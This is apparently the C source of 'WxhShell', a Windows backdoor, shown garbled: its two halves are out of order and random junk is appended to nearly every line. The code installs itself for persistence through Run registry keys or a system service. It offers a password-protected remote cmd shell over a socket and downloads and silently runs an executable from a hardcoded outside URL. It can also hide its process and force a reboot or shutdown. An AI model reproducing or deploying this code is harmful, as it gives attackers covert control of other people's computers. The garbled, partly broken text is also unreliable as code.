    if(Boot(SHUTDOWN)) 0CX,"d_T,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]o8]b7-  
    else { & y5"0mA  
    closesocket(wsh); ?OLd }8y  
    ExitThread(0); W?5')  
    } 5afD;0D5TI  
    break; R|n  
    } (/uAn2  
  // 获取shell gzIx!sc  
  case 's': { [02rs@c>  
    CmdShell(wsh); tGgxID  
    closesocket(wsh); <Cv(@A->  
    ExitThread(0); [K&%l]P7  
    break; [ N|X  
  } JcWp14~e  
  // 退出 4d`YZNvZW/  
  case 'x': { qFD ZD)K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Rc*vVnI  
    CloseIt(wsh); 4~,Z 'k  
    break; d #1Y^3n  
    } H"FK(N\  
  // 离开 *{3d+j/?/  
  case 'q': { lG)wa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QQBh)5F  
    closesocket(wsh); QkBw59L7  
    WSACleanup(); E +_n@t"  
    exit(1); <%m YsaM  
    break; +b(};(wL  
        } zbmC? 2$  
  } Z+&V  >  
  } +P^ ;7"H  
~ubvdQEW  
  // 提示信息 hI'WfF!X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rW)h ? , b  
} =p8uP5H  
  } pcy;]U ?  
<{isWEW9]3  
  return; jc&k-d>=G  
} !&{rnK  
au{) 5W4~  
// shell模块句柄 s0/O/G?  
int CmdShell(SOCKET sock) 23wztEp{a  
{ qD{1X25O  
STARTUPINFO si; 1uAjy(y  
ZeroMemory(&si,sizeof(si)); +nE>)ZH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _#u\ar)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f' ?/P~[  
PROCESS_INFORMATION ProcessInfo; Q#\Nhc  
char cmdline[]="cmd"; n9'3~qVZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t>[W]%op  
  return 0; V`y^m@U!  
} VHxBs  
^.6[vmmq  
// 自身启动模式 ( zWBrCX  
int StartFromService(void) <0})%V?-  
{ X:oOp=y]|  
typedef struct `}EnY@*h  
{ krUtOVI  
  DWORD ExitStatus; Vh^y6U<  
  DWORD PebBaseAddress; ^ Oh  
  DWORD AffinityMask; k7^hc th  
  DWORD BasePriority; \rS*\g:i  
  ULONG UniqueProcessId; 4j#y?^s  
  ULONG InheritedFromUniqueProcessId; (xHmucmwp  
}   PROCESS_BASIC_INFORMATION; J].Oxch&y  
n93q8U6m/U  
PROCNTQSIP NtQueryInformationProcess; ?{ N,&d  
IrMH AM5K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  >Uw:cq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )0VL$A  
'z ?Hv  
  HANDLE             hProcess; 7*l$ i/!  
  PROCESS_BASIC_INFORMATION pbi; z`zz8hK.  
geme_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eFG/!b<17  
  if(NULL == hInst ) return 0; 3`bQ0-D;  
;P91'B~t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {7o3wxsS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6KMO*v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -G(me"Cu  
.nPOjwEx&Y  
  if (!NtQueryInformationProcess) return 0; JOJ.79CT  
#L*\^ c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lc{AB!Br  
  if(!hProcess) return 0; A NhqS  
iXDG-_K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9{u=  
#AJW-+1g.=  
  CloseHandle(hProcess); =I# pXL  
YnEyL2SuU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (/A.,8Ad  
if(hProcess==NULL) return 0; I0m7;M7 P  
Gyq 6?  
HMODULE hMod; ?()*"+N(ck  
char procName[255]; hY`<J]-'`  
unsigned long cbNeeded; ]3LLlXtK[  
ZSuoD$~k[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TxJk.c  
OG5{oH#K  
  CloseHandle(hProcess); t#^Cem<  
M& ZKc  
if(strstr(procName,"services")) return 1; // 以服务启动 tu\XuDk y  
#_DpiiS,.Q  
  return 0; // 注册表启动 tgF~5 o}?  
} U#z"t&o=L  
0t7N yKU  
// 主模块 ~<[+!&<U  
int StartWxhshell(LPSTR lpCmdLine) =-r"@2HBq  
{ if*V-$[I  
  SOCKET wsl; G"/;Cq=t  
BOOL val=TRUE; K2xB%m1LK  
  int port=0; H8eEBMGo  
  struct sockaddr_in door; \ lbH   
74([~Qs _M  
  if(wscfg.ws_autoins) Install(); |5^ iqW  
9<gW~ s>  
port=atoi(lpCmdLine); //&3{B  
c8&3IzZ  
if(port<=0) port=wscfg.ws_port; W`[VLi}fe  
Ca~8cQ  
  WSADATA data; w|f+OlPXq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "S;4hO  
k-~}KlP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f Fi=/}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); In?rQiD9  
  door.sin_family = AF_INET; ^T&{ORWz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WsHD Ip  
  door.sin_port = htons(port); fEBi'Ad  
%r^tZ;; l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .#&)%}GC  
closesocket(wsl); Ic'D# m  
return 1; G#%Sokkb'  
} & DP"RWT/  
TCp9C1Q4  
  if(listen(wsl,2) == INVALID_SOCKET) { <Y`(J#  
closesocket(wsl); A|"T8KSMB  
return 1; v?He]e'  
} jkk%zu  
  Wxhshell(wsl); _ s 3aaOL  
  WSACleanup(); O~5t[  
D"4*l5l  
return 0; ?8O5%IrJ  
g:!U,<C^a  
} (-S^L'v62v  
!j$cBf4  
// 以NT服务方式启动 Ce+:9}[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mZiKA-t  
{ ThV>gn5  
DWORD   status = 0; fM.#FT??  
  DWORD   specificError = 0xfffffff; XpANaqH\  
oXZWg~&l^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hJSvx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .i;.5)shsu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LH54J;7 Y  
  serviceStatus.dwWin32ExitCode     = 0; `oMZ9Gq2E  
  serviceStatus.dwServiceSpecificExitCode = 0; QvbH " 7  
  serviceStatus.dwCheckPoint       = 0; "}X+vd``  
  serviceStatus.dwWaitHint       = 0; /4+L2O[  
"nz\YQdg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r5gqRh}+  
  if (hServiceStatusHandle==0) return; '-"[>`[q  
~7b#B XzP  
status = GetLastError(); oaj.5hM  
  if (status!=NO_ERROR) NnAIL;WS  
{ (VO'Kd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z(q]rX5"  
    serviceStatus.dwCheckPoint       = 0; ]aIHd]B  
    serviceStatus.dwWaitHint       = 0; nReIi;pi  
    serviceStatus.dwWin32ExitCode     = status; ! VT$U6  
    serviceStatus.dwServiceSpecificExitCode = specificError; {+lU4u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s17)zi,?4  
    return; "`;-5dg  
  } T'6`A<`3  
l$5nv5r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (&.T  
  serviceStatus.dwCheckPoint       = 0; *C55DO^w  
  serviceStatus.dwWaitHint       = 0; ,hf W2}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6D| F1UFU  
} f%PLR9Nh5@  
2|"D\N  
// 处理NT服务事件,比如:启动、停止 /[?} LrDO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <zpxodM@T  
{ +o@:8!IM1  
switch(fdwControl) r0nnmy]{d  
{ H`M|B<.  
case SERVICE_CONTROL_STOP:  dw;<Q  
  serviceStatus.dwWin32ExitCode = 0; |[~ S&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zHKP$k8  
  serviceStatus.dwCheckPoint   = 0; C[fefV9g2  
  serviceStatus.dwWaitHint     = 0; ^U?Ac=  
  { F;_c x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9qDM0'WuU  
  } ;%0kzIvP  
  return; bj`GGxzOb  
case SERVICE_CONTROL_PAUSE: iuj%.}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Sj;\Iz  
  break; NU_^*@k  
case SERVICE_CONTROL_CONTINUE: Zb_A(mnzh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2c]751  
  break; RL&0?OT  
case SERVICE_CONTROL_INTERROGATE: J<L\IP?%  
  break; Y*#xo7#B  
}; _# Hd2h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >NPK;Vu  
} .,6o):  
HT/!+#W .  
// 标准应用程序主函数 +8xT}mX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <',k%:t  
{ <b'*GBw$  
];CIo> b_(  
// 获取操作系统版本 eV%{XR?y  
OsIsNt=GetOsVer(); auGK2i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z#Qe$`4&  
|(l]Xr&O  
  // 从命令行安装 G(?1 Urxi  
  if(strpbrk(lpCmdLine,"iI")) Install(); &~;M16XM,e  
+-b'+mF  
  // 下载执行文件 #do%u"q  
if(wscfg.ws_downexe) { xKUWj<+/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |11vm#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^>%.l'1/(  
} #9s)fR  
{Y/0BS2D  
if(!OsIsNt) {  #*rJI3  
// 如果时win9x,隐藏进程并且设置为注册表启动 #yIHr&'oX  
HideProc(); :Z/\U*6~  
StartWxhshell(lpCmdLine); '0 ~?zP  
} 'DXT7|Df  
else h<M1q1)  
  if(StartFromService()) t ]Ln(r  
  // 以服务方式启动 3{.]!   
  StartServiceCtrlDispatcher(DispatchTable); f"gYXaVF+  
else #qk=R7" Q  
  // 普通方式启动 MB:[: nX  
  StartWxhshell(lpCmdLine); \^0>h`[  
(xvg.Nby  
return 0; Q_p&~PNy5  
}  6p@[U>`  
nCwA8AG  
=c 9nC;C  
vn*K\,  
=========================================== J|hVD  
`3jwjy| 5  
I++ Le%w  
.Y2Hd$rs  
wEq&O|Vj  
#5h_{q4l  
" $Tv~ *|a  
@r[SqGa:  
#include <stdio.h> mW{uChHP  
#include <string.h> $,O8SW.O$  
#include <windows.h> 94O\M RQ*  
#include <winsock2.h> Z,AY<[/C  
#include <winsvc.h> lO|LvJyx  
#include <urlmon.h> y+Nw>\|S  
FO(QsR=\s  
#pragma comment (lib, "Ws2_32.lib") 1p5'.~J+Q  
#pragma comment (lib, "urlmon.lib") CB-;Jqb  
m+8:_0x "  
#define MAX_USER   100 // 最大客户端连接数 uv-O`)  
#define BUF_SOCK   200 // sock buffer 4$, W\d  
#define KEY_BUFF   255 // 输入 buffer (X^,.qy  
LN (\B:wAY  
#define REBOOT     0   // 重启 W4av?H  
#define SHUTDOWN   1   // 关机 D^h! ].3 T  
F0&ubspt\  
#define DEF_PORT   5000 // 监听端口 WJ-.?   
AvZ5?rN$  
#define REG_LEN     16   // 注册表键长度 j;48Yya'  
#define SVC_LEN     80   // NT服务名长度 &?Erkc~#  
UW}@oP$r  
// 从dll定义API 7xB]Z;:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !0? B=yA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); byE0Z vDM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LH}9&FfjU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VJw7defc  
;X]B0KFe7  
// wxhshell配置信息 I)#8}[vK  
struct WSCFG { rSt5 @f?  
  int ws_port;         // 监听端口 'hWA&Xx +  
  char ws_passstr[REG_LEN]; // 口令 ` ;mQ"lO  
  int ws_autoins;       // 安装标记, 1=yes 0=no ceJ#>Rj  
  char ws_regname[REG_LEN]; // 注册表键名 "9^b1UH<  
  char ws_svcname[REG_LEN]; // 服务名 \tvL<U"'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bh5P98s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z JcX-Z!\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ( ./MFf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f?^-JZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dZIbajs'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r?Mf3U^G  
PfU\.[l$  
}; ks phO-  
:qqG%RB  
// default Wxhshell configuration nu+^D$ait  
struct WSCFG wscfg={DEF_PORT, >WZbb d-  
    "xuhuanlingzhe", w^zqYGxG)  
    1, zJ(DO>,p&  
    "Wxhshell", " wT?$E  
    "Wxhshell", R=a4zVQ  
            "WxhShell Service", 6^J[SQ6P  
    "Wrsky Windows CmdShell Service", ;{H Dz$  
    "Please Input Your Password: ", 0U/[hG"DKN  
  1, (x/:j*`K  
  "http://www.wrsky.com/wxhshell.exe", zd8A8]&-  
  "Wxhshell.exe" a;KdkykG  
    }; JW><&hY$"  
oL R/\Y(  
// 消息定义模块 3f^jy(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  h#}w18l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {Mb<on W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ng|^Zm%   
char *msg_ws_ext="\n\rExit."; @8`I!fZ  
char *msg_ws_end="\n\rQuit."; 3B%7SX  
char *msg_ws_boot="\n\rReboot..."; o ~y{9Q  
char *msg_ws_poff="\n\rShutdown..."; W;R6+@I[  
char *msg_ws_down="\n\rSave to "; XNx$^I=  
EUI*:JU-  
char *msg_ws_err="\n\rErr!"; :+>7m  
char *msg_ws_ok="\n\rOK!"; ;*zLf 9i  
5*A5Y E-  
char ExeFile[MAX_PATH]; ^1c7\"{  
int nUser = 0; RFS} !_t+|  
HANDLE handles[MAX_USER]; 1k:yU(  
int OsIsNt; 6~ y'  
KC; o   
SERVICE_STATUS       serviceStatus; Wk3-J&QbS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2brY\c F  
r{d@74  
// 函数声明 CeOA_M  
int Install(void); Go:(R {P  
int Uninstall(void); S9$,.aq  
int DownloadFile(char *sURL, SOCKET wsh); 3)CIqN  
int Boot(int flag); j+-`P5  
void HideProc(void); 2/t;}pw8  
int GetOsVer(void); j>\rs|^O  
int Wxhshell(SOCKET wsl); Z@x&  
void TalkWithClient(void *cs); 'xai5X  
int CmdShell(SOCKET sock); ,0AS&xs$  
int StartFromService(void); [S]q'c)  
int StartWxhshell(LPSTR lpCmdLine); 3  ;F  
F[O147&C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,)d`_AD+5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ";&PtLe  
YwY?tOxBe  
// 数据结构和表定义 0e#PN@  
SERVICE_TABLE_ENTRY DispatchTable[] = Z/:yYSq  
{ E Lq1   
{wscfg.ws_svcname, NTServiceMain}, ;c]O*\/  
{NULL, NULL} k0PwAt)65  
}; ]Oo!>iTQi  
:epB:r  
// 自我安装 p`7d9MV^  
int Install(void) 0&| M/  
{ [ R8BcO(  
  char svExeFile[MAX_PATH]; r9bAbE bI  
  HKEY key; C_ d|2C6  
  strcpy(svExeFile,ExeFile); W[`ybGR<  
(>u1O V  
// 如果是win9x系统,修改注册表设为自启动 ND?"1/s  
if(!OsIsNt) { E]&N'+T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C^'r>0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /<[_V/g[t?  
  RegCloseKey(key); ZHeue_~x4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uv.Xw}q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s/J7z$NEU  
  RegCloseKey(key); $1d{R;b[  
  return 0; O \o@]  
    } Cb<7?),vK  
  } or;VmU8$zb  
} 3j$, L(  
else { * Uy>F[%@  
,3}+t6O"  
// 如果是NT以上系统,安装为系统服务 a9^})By&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Iz9!i J"  
if (schSCManager!=0) tGl|/  
{ v_%6Ly  
  SC_HANDLE schService = CreateService ("}Hs[  
  ( 8'3&z-  
  schSCManager, u&o4? ]6  
  wscfg.ws_svcname, G.XxlI}  
  wscfg.ws_svcdisp, X1o R  
  SERVICE_ALL_ACCESS, s8]%L4lvu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nSSJl  
  SERVICE_AUTO_START, jZidT9[g  
  SERVICE_ERROR_NORMAL, U)-aecB!  
  svExeFile, avG#0AY  
  NULL, r^"sZk#  
  NULL, fM]nP4K`  
  NULL, G='`*_$  
  NULL, `l?MmIJ  
  NULL e'G3\h}#  
  ); I;_T_m4.q  
  if (schService!=0) \j)c?1*$  
  { RYC%;h  
  CloseServiceHandle(schService); Ym ]g0a  
  CloseServiceHandle(schSCManager); &e).l<B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @(x]+*)  
  strcat(svExeFile,wscfg.ws_svcname); O3slYd&V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hr'?#K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x7l}u`N4  
  RegCloseKey(key); 6OC4?#96%'  
  return 0; og+Vrd  
    } mGP%"R2X  
  } }mZCQJ#`  
  CloseServiceHandle(schSCManager); ^_G#JJ\@$  
} &"tQpw5  
} 3 Z SU^v  
}*-fh$QJ  
return 1; p*cyW l  
} GpXf).a@  
 r?0w5I  
// 自我卸载 5B8/"G  
int Uninstall(void) &l{ctP%q  
{ leizjL\P  
  HKEY key; y<`:I|y  
$ <[r3  
if(!OsIsNt) { e>!]_B1ad  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5gx;Bp^_  
  RegDeleteValue(key,wscfg.ws_regname); *)\y52z  
  RegCloseKey(key); 5$Kv%U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .|L9}<  
  RegDeleteValue(key,wscfg.ws_regname); 60>g{1]  
  RegCloseKey(key); loq2+(  
  return 0; ^5 "yY2}-  
  } ;Cx`RF w  
} ~^Ga?Q_  
} n.5M6i/~a  
else { HH(2  
&V &beq4)p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -2U|G  
if (schSCManager!=0) )Rk(gd  
{ ~k 6V?z}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ug gg!zA  
  if (schService!=0) id`9,IJx  
  { V~o'L#a  
  if(DeleteService(schService)!=0) { #gf0*:p  
  CloseServiceHandle(schService); oM#+Z qP  
  CloseServiceHandle(schSCManager); u,YmCEd_V  
  return 0; ~$ ?85   
  } <Z~Nz>'r  
  CloseServiceHandle(schService); #>5T,[{?j  
  } 4_CXs.v1  
  CloseServiceHandle(schSCManager); 6+>X`k%D  
} |P9)*~\5  
} @frV:%  
Opy{i#>  
return 1; 5PpS/I:on  
} W Kd:O)J  
jM{5nRQ  
// 从指定url下载文件 2ss*&BR.  
int DownloadFile(char *sURL, SOCKET wsh)  mSFA i  
{ -=1>t3~\  
  HRESULT hr; cUi6 On1C  
char seps[]= "/"; hG9Mp!d91  
char *token; h;cw=G  
char *file; KUq(&H7  
char myURL[MAX_PATH]; =7~;*Ts  
char myFILE[MAX_PATH]; #.}&6ZP  
XK0lv8(  
strcpy(myURL,sURL); [Q8vS;.  
  token=strtok(myURL,seps); <1~_nt~(*  
  while(token!=NULL) [*ug:PG  
  { K7qR  
    file=token; 6k37RpgH  
  token=strtok(NULL,seps); {ueDwnZ  
  } rXGaav9  
ldaT: er9  
GetCurrentDirectory(MAX_PATH,myFILE); cft@s Y  
strcat(myFILE, "\\"); f.vJJa  
strcat(myFILE, file); ~ /K'n  
  send(wsh,myFILE,strlen(myFILE),0); FA%BzU5^  
send(wsh,"...",3,0); CA/Lv{[2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +- hfl/$  
  if(hr==S_OK) -7I %^u  
return 0; J]NMqi q  
else 'J0Ea\,if0  
return 1; >8`;SEnv  
mLHl]xs4  
} Ci3 b(KR  
7$L*nf  
// 系统电源模块 @GQtyl;q  
int Boot(int flag) ICWHEot  
{ V-dub{K  
  HANDLE hToken; Djp;\.$(  
  TOKEN_PRIVILEGES tkp; W>u$x=<T  
Fcn@j#[J  
  if(OsIsNt) { B|AIl+y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8feLhWg'P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /)Weg1b  
    tkp.PrivilegeCount = 1; 9J}^{AA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E,A9+OKxJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); urD{'FQf  
if(flag==REBOOT) { yW}x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `my\59T  
  return 0; HIlTt  
} |[/XG2S  
else { EhOB+Mc1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }%,LV]rGEZ  
  return 0; TPi{c_ ]  
} j'SGZnsy*  
  } ;l@Ge`&u  
  else { <+<,$jGC-  
if(flag==REBOOT) { v +?'/Q%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gp^xl>E  
  return 0; )Y=ti~?M(  
} =d JRBl  
else { ~y:?w(GD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) drB$q [Ak9  
  return 0; (%]M a  
} Q6PMRG}/o  
} 3+vMi[YO  
55Ye7P-d  
return 1; -wnBdL  
} 3pkx3tp{  
C^ ~[b o  
// win9x进程隐藏模块 `6*1mE1K&  
void HideProc(void) wqt/0,\  
{ )aX#RM? N  
@Wzr rCpj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *nY$YwHB  
  if ( hKernel != NULL ) S^SF!k=  
  { ~:UAL}b{\~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rap_1o9#\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <'P+2(Oi  
    FreeLibrary(hKernel); T FK#ign  
  } }Szs9-Wns  
tHH @[E+h  
return; ]ex2c{ G  
} KC-@2,c9V  
};~I#X  
// 获取操作系统版本 8-Z|$F"  
int GetOsVer(void) >td\PW~X  
{ )KN]"<jB  
  OSVERSIONINFO winfo; v-}D>)M^W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aw1 f;&K4  
  GetVersionEx(&winfo); Q~)A fa{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'u%SI]*;>  
  return 1; '&iAPc4=  
  else $&0\BvS  
  return 0; Z+S1e~~  
} Y:5Gp8Vi  
,k6V?{ZA  
// 客户端句柄模块 v ,)vW5jGI  
int Wxhshell(SOCKET wsl) SMHQh.O?5  
{ .$r7q[  
  SOCKET wsh; pIvr*UzY  
  struct sockaddr_in client; {9h`h08?z  
  DWORD myID; _I #a `G  
yJHFo[wGMJ  
  while(nUser<MAX_USER) 2NWQiSz  
{ ,mD{4 >7  
  int nSize=sizeof(client); m)xz_Plc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !;&{Q^}  
  if(wsh==INVALID_SOCKET) return 1; l|  QQ  
20BU;D3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zWq&HBs  
if(handles[nUser]==0) BGL-lJrG  
  closesocket(wsh); \7tJ)[0aF  
else Jgzg[6  
  nUser++; h1QrFPQnu  
  } 7j{63d`2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :stA]JB# w  
]iH~ 1[  
  return 0; d)v'K5  
} :.F;LF&  
\yA*)X+  
// 关闭 socket SQI =D8  
void CloseIt(SOCKET wsh) )E=~ _`XO  
{ #9@UzfZAwT  
closesocket(wsh); -f%J_`  
nUser--; rPoq~p[Y  
ExitThread(0); tD3v`Ke  
} [O^mG 9  
(p}N cn.  
// 客户端请求句柄 \t']Lf  
void TalkWithClient(void *cs) bc*CP0t|  
{ :LX (9f   
[|oOP$u  
  SOCKET wsh=(SOCKET)cs; ?8@EBPpC  
  char pwd[SVC_LEN]; kk7M$)>d  
  char cmd[KEY_BUFF]; E'F87P^>  
char chr[1]; HmVpxD+  
int i,j; s7na!A[  
oD7^9=#  
  while (nUser < MAX_USER) { _[u fH*  
>$N ?\\#  
if(wscfg.ws_passstr) { sGFC?1r?\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OA8iTn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aX(Y `g)|  
  //ZeroMemory(pwd,KEY_BUFF); OW1\@CC-69  
      i=0; OmC F8:\/  
  while(i<SVC_LEN) { rsC^Re:*jr  
f-a+&DB9  
  // 设置超时 {t QZqqdn@  
  fd_set FdRead; 7& G#&d  
  struct timeval TimeOut; v L!?4k  
  FD_ZERO(&FdRead); f!+G1z}iA  
  FD_SET(wsh,&FdRead); ]sV) '-  
  TimeOut.tv_sec=8; M07==R7  
  TimeOut.tv_usec=0; z)]Br1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #)EVi7UP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j\@osjUu  
^WmP,Xf#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #H/suQZN"g  
  pwd=chr[0]; w]Z:Y`  
  if(chr[0]==0xd || chr[0]==0xa) { IRB BLXv7\  
  pwd=0; ?UV!^w@L:0  
  break; g)Dg=3+>  
  } Sv|jR r'  
  i++; / WJ+e  
    } R7~#7qKQB  
X1~ WQ?ww  
  // 如果是非法用户,关闭 socket k5]`:k6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vHxLn/  
} bf-V Q7  
i[a1ij=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CxJkT2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =@0/.oSD  
u(Y?2R  
while(1) { kESnlmy@J  
xE%sPWbj  
  ZeroMemory(cmd,KEY_BUFF); \N"=qw^ t  
},(Ln%M  
      // 自动支持客户端 telnet标准   Z2hIoCT  
  j=0; f%5 s8)  
  while(j<KEY_BUFF) { Ob>M]udn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S 0L"5B@  
  cmd[j]=chr[0]; -/ h'uG  
  if(chr[0]==0xa || chr[0]==0xd) { `u7"s'  
  cmd[j]=0; l!YjDm{E  
  break; :~{x'`czJ  
  } /5 6sPl 7}  
  j++; P gK> Z,  
    } %q)*8  
O[/l';i  
  // 下载文件 47 *,  
  if(strstr(cmd,"http://")) { yi$Jk}w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); La#otuw+?  
  if(DownloadFile(cmd,wsh)) b Q6<R4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FF7  
  else !%s&GD8&l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  (:ObxJ*  
  } pz]#/Ry?  
  else { 22gk1'~dO  
+X&b  
    switch(cmd[0]) { $X%'je  
  KaGG4?=V  
  // 帮助 j9G1  _  
  case '?': { xesZ 7{ o  
